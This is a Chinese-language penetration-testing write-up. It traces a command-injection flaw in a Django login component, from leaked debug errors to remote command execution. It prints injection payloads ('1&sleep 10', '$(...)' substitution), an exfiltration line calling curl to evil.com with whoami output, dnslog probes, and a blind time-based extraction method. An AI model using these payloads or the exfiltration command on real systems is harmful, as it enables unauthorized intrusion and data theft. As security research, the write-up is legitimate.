【漏洞笔记】登陆口:通用组件漏洞挖掘挖掘从报错信息到rce
记录一次基础通用渗透测试

注:该漏洞早已修复
因为登录ui敏感,这里用个其他登录口做个示例。

接口/login/?nLang=0,首先从网站逻辑层面入手。
弱口令adminadmin,还有网络搜索默认账号密码等

但是有次数限制。如果是通过ip判断,可以尝试添加xff头。如果是cookie判断,可以尝试构造空cookie或者是随机cookie。


发现这里添加了x-forwarded-for伪造客户端ip成功了,服务端接收了参数,这里xff头可以尝试sql注入,但是我没测。
接下来就是无聊的爆破环节,由于我爆破了大半辈子没爆破出来,就应该要尝试更优雅,更简洁帅气的路线。
接下来从网站底层框架等入手
随便构造个错误路径/log,发现爆东西了

Django框架一大堆接口泄露,确定了框架可以查后台路径,但是后台路径被删除了,无法访问。

提取了1000多个接口


有好多接口回显了错误信息,这些错误信息一部分提示MultiValueDictKeyError,一部分提示typeerror等,证明此网站处理用户请求优先于鉴权的,所以这个存在未授权。
往下看,每个接口都存在泄露了django,python版本号,可以查cve打nday了。
而且还泄露了数据库用户名端口等信息


其中有很多接口很亮眼,其中我看到了dologout接口。毕竟我之前登录界面从loginout删除了某cookie字段得知了管理员cookie的字段然后就从cookiesql注入进去,所以第一时间先想测测这个。

剩下还泄露了部分目标代码。
重点观看
*`255.dic['sComment'] = langData['Successful']
list.append(dic)return JsonResponse(list,safe=False)- def doLoginOut(request):
hData = request.GETspath = r'/tmpfile/loginfile/'+str(hData['token'])delfile = "rm -rf %s"%(spath)os.system(delfile)return HttpResponse(0)- #主备配置同步
- def doSyncConfigToSlave(request):
`*
66666,不打自招。观察这段代码,先get接收了用户请求参数token,然后将token拼接到系统命令里面,然后os.system直接执行,没有任何过滤。
可以尝试拼接管道符(|,&,||,&&,;用来表达两个命令之间的承接关系,通常表达执行完一个命令然后立刻执行管道符后面的命令)
如果我token输入1&sleep 10,变成rm -rf /tmpfile/loginfile/1&sleep 10。会删除此文件夹不存在的文件,然后同时延时10秒。
注意实战中要将&url编码防止被解析成参数。
这样语句变成rm -rf /tmpfile/loginfile/1&sleep 10

构造sleep 10与sleep 1
尝试多次稳定在sleep秒数后返回响应
确定有系统命令注入
接下来开始外带信息
这里可以把&换成;或者将命令用``或者$()包裹这样可以在linux中将命令解析成一个函数变量,命令里面必须会执行,常规用法curl http://evil.com/1?data=$(whoami),这样会把whoami命令执行结果发送到服务器,也可以绕过对管道符的注入,直接将命令作为变量拼接到常规信息中,类似111$(Sleep+10)
通过ping指令可以ping ss.dnslog.cn测试是否能外带
这里我都尝试过了,dnslog仍无响应

可能是没有ping,curl等危险组件?
我突然灵光一现,想出可以测试是否与外网连通的办法
利用ssh,构造ssh aaa@sss.dnslog.cn
然后发现仍无结果。
那就明了了,估计是因为前后端分离,那可能无法访问外网来外带。
那如何读取服务器命令执行的结果呢?
那也难不倒我
在sql注入中,当目标服务器无法回显任何有效的信息(包括服务器处理用户信息是否成功),会使用”时间盲注”加“布尔盲注”。
逻辑:如果数据库名字的第一个字哈ascii码为1就不延时10秒,如果是就延10秒。
然后测试ascii码为2以此类推遍历能出完整数据库名字。
可以沿用这个逻辑。
那exp可以这样写

这里将执行结果写入文件因为防止频繁执行特定指令造成的风险,还有执行读取进程这类结果不断变化的指令无法爆破乱码的结果。
这里逐字爆破目标为了节省时间,采用二分法。
先判断ascii码是否大于125,如果大于,那就判断有没有大于180等,缩小范围然后得到字符。
*还有种方法是先测定第一位数字再确定第二位数字,这样循环爆破,效率其实要高很多,方法也偏小众,这里先暂且不提。 *
然后把想法整理一下交给ai,不断调试,exp就写好了。


然后就可以成功的外带信息,拿下高危通用漏洞。文章较长,是否对你有帮助,感谢观看。
温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。
涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。
如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。
